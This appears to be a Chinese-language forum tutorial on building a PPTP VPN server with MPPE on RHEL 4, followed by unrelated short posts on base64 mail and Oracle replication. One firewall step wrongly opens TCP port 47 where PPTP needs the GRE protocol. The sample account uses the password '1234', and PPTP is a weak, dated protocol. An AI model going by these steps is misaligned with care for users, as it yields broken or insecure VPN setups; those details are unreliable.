所以我們瞭解到了vpn client端可以是user的電腦,以winxp來說,本身內建了pptp的虛擬私人網路,不需安裝任何軟體,只要一組ip/帳號就可以教user連上vpn;也可以是類似switch的硬體設備,那server呢?當然也有很多選擇,像是去買vpn設備,或是直接將你的linux架上vpn,這也有多種選擇,像swan/ipsec,vpnd,pptpd,或是open vpn...等,一般我個人比較偏愛不須動到太多東西的安裝,不管是server也好,client端也好,動到的部份越多,能照著做的成功率越低,所以對照了一下環境後,覺得pptpd比較適合,因為1.windows本身就支援,2.設定不用改太多.

2.環境
ppptpd全名是PoPToP(pptpd)是在Linux上建置VPN的其中一種方法,可以參考

http://www.moretonbay.com/con/pptp.html

安裝環境 --Redhat Linux Enterprise 4.0 Advance Server (Kernel 2.6.9-5.EL)

在windows建立完一個vpn的撥號環境後,其中有一個"安全性"的頁面,裡面有一個"要求資料加密"的選項,這部份牽涉到PPTP所需要安裝的加密環境必須要Kernel及ppp支援MPPE(Microsoft Point-To-Point Encryption Protocol),而且還有一個MPPC(Microsoft Point-to-Point Compression)所以必須將Kernel patch成mppe/mppc的版本,RH內建的kernel是不支援mppe/mppc的,你可以選擇重新compile kernel,也可以選擇patch kenel,但對我而言,能不去動到最好還是不去動到,畢竟從雲觀時代以來研究kernel的精神早就沒有了,最後一次compile kernel是十幾年前了....所以,還好有個叫Matt Domsch的,寫了個dkms(Dynamic Kernel Module Support)的東西,使得kenel增加功能不是那麼困難.
http://linux.dell.com/dkms/dkms.html

3.所有相關的套件
http://sourceforge.net/project/showfiles.php?group_id=44827

請下載下列幾個套件
dkms-2.0.5-1.noarch.rpm
kernel_ppp_mppe-0.0.5-2dkms.noarch.rpm
ppp-2.4.3-5.rhel4.i386.rpm
pptpd-1.3.0-0.i386.rpm

4.安裝dkms
#rpm -ivh dkms-2.0.5-1.noarch.rpm

5.安裝kernel的ppp mppe模組
#rpm -ivh kernel_ppp_mppe-0.0.5-2dkms.noarch.rpm

<研究kernel是一件非常值得鼓勵的事>

6.測試一下MPPE module可不可以載入
#modprobe ppp-compress-18 && echo success

7.安裝PPP--原有RHEL4的PPP版本為ppp-2.4.2-6.4,要安裝pptp 1.3.0必需是ppp >= 2.4.3 is needed by pptpd-1.2.3-1.i386
#rpm -qa|grep ppp
rp-pppoe-3.5-22
ppp-2.4.2-6.4.RHEL4

所以將原有的ppp-2.4.2-6.4.RHEL4昇級成ppp-2.4.3-5.rhel4.i386.rpm

#rpm -Uvh ppp-2.4.3-5.rhel4.i386.rpm

8.安裝pptpd

#rpm -ivh pptpd-1.3.0-0.i386.rpm

9.設定帳號
#vi /etc/ppp/chap-secrets

# Secrets for authentication using CHAP
# client        server   secret                IP addres
vpn              *          1234                  *

10.設定/etc/pptpd.conf
加入下列:(使用 /etc/ppp/options.pptp,原本的option /etc/ppp/options.pptpd保留)

debug
option /etc/ppp/options.pptp
logwtmp
localip 192.168.254.1
remoteip 192.168.254.50-100

<說明>pptpd的原理跟撥號網路類似,由pptpd做為daemon,接通後起一個ppp0的interface,所以會用到ppp的設定,這時需考慮到彼此的網路規劃,一般adsl的ip分享器用的是192.168.0.x或192.168.1.x,
所以如果你的內部網路用的也是192.168.1.x或192.168.0.x,雖然不會衝突,可是路由不知會往哪邊跑,如下圖,你必須知道eth0,eth1,ppp0所代表的意思,將eth1跟ppp0設成一樣的ip,是為了iptables的方便設定,
也就是由192.168.254.x連過來的vpn都視為192.168.254.1所路由的ip,另外localip和remoteip的最大連接數為50-100=50個,超過的話,將會忽略連接要求


11.設定/etc/ppp/options.pptp ,可參考options.pptpd

#vi /etc/ppp/options.pptp

lock
debug
auth
proxyarp
+chap
#-----MPPE/MPPC------
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
ms-wins 192.168.254.1
ms-dns 192.168.254.1

 
<p.s.1>由於ppp的編碼方式有基於BSD licensed跟 OpenSSL licensed這兩種的方式,所需設定的參數也有不同,所以您可能需要注意一下所使用的ppp套件是使用哪一種,以上所使用ppp-2.4.3-5.rhel4.i386.rpm是
BSD licensed的套件,所以chapms,chapms-v2,mppe-40,mppe-128,mppe-stateless等參數並不適用.其中
refuse-="-"
require-="+"
所以,要使用MPPE,就加入require-mppe-128,可以寫成+mppe-128,要注意一點的是不使用mschap-v2的驗證,是無法使用mppe-128的加密的
<p.s.2>
檢查ppp有無支援mppe
#strings `which pppd`|grep -i mppe|wc --lines
46   <------只要不等於0,大於30就有支援
檢查ppp有無支援mppc
#strings `which pppd`|grep -i mppc|wc --lines
0      <------等於0表示不支援
在此說明一下不支援的原因,原來MPPC是一種有版權的壓縮演算法,所以大家也不敢太公開使用,網頁上大調查目前共有七種解(說)法:
<1>Cisco's description of MPPC, showing the protocol code.
<2>Mail on [pptp-server] mailing list saying that you don't need MPPC anyway, and nobody has written it for Linux. [link no longer valid]
<3>FreeBSD supports it, somehow. However investigations by Frank show the code is not present.
<4>A book mentions ppp-mppc in contents listing, implying existence.
<5>Mail saying that MPPC would need licensing from STAC Electronics.
<6>The ppp package README confirms the above, where it says:
Compression methods.
**************************
This package supports two packet compression methods: Deflate and BSD-Compress. Other compression methods which are in common use include Predictor, LZS, and MPPC. These methods are not supported for two reasons - they are patent-encumbered, and they cause some packets to expand slightly, which pppd doesn't currently allow for. BSD-Compress is also patent-encumbered (its inclusion in this package can be considered a historical anomaly :-) but it doesn't ever expand packets. Neither does Deflate, which uses the same algorithm as gzip.  
<7>Jan Dubiec's implementation of MPPC, which may be a violation of the patent but we've not checked.
第七種也就是大家最常翻到的Jan Dubiec的解法,這下大家知道他語焉不詳的原因了吧---we've not checked.
http://mppe-mppc.alphacron.de/
http://www.polbox.com/h/hs001/

12.要將ip_forward打開(若是有用到iptables的,應該已經有做這個動作)
#echo 1 > /proc/sys/net/ipv4/ip_forward

13.啟動pptpd
#/etc/rc.d/init.d/pptpd start

14.若有設定iptables的server,請開放 port 1723和port 47,在/etc/sysconfig/iptables加入下列:
-A INPUT -d 220.130.205.22 -i eth0 -p tcp -m tcp --dport 1723 -j ACCEPT
-A INPUT -d 220.130.205.22 -i eth0 -p tcp -m tcp --dport 47 -j ACCEPT

注意/var/log/messages有無錯誤訊息

15.剩下的就是Client端的設定,在此不再贅述.本文只簡單說明在RHEL下的pptpd vpn使用mppe的做法,留有兩個issue,日後再行補充,一是MPPC的做法,除了Jan Dubiec外還有沒有更簡單一點的,不需動到kernel的,二是linux的vpn client設定,以上如有謬誤,還請見諒.

28
請各位發生這種狀況的,檢查一下該封mail的檔頭部份,是不是有這一行:

Content-Transfer-Encoding: base64

也就是以base64編碼的信件才會出現.

29
Data Guard是從Oracle 9i開始支援的功能, Oracle8並未支援,作為Standby server自然以Data guard為first choice

30
作replication,設定單向,大概的步驟有:
1.Advanced replication=TRU
global_names = true
2.做db link
3.做snapshot replication
4.決定要被replicate的object

頁: [1] 2 3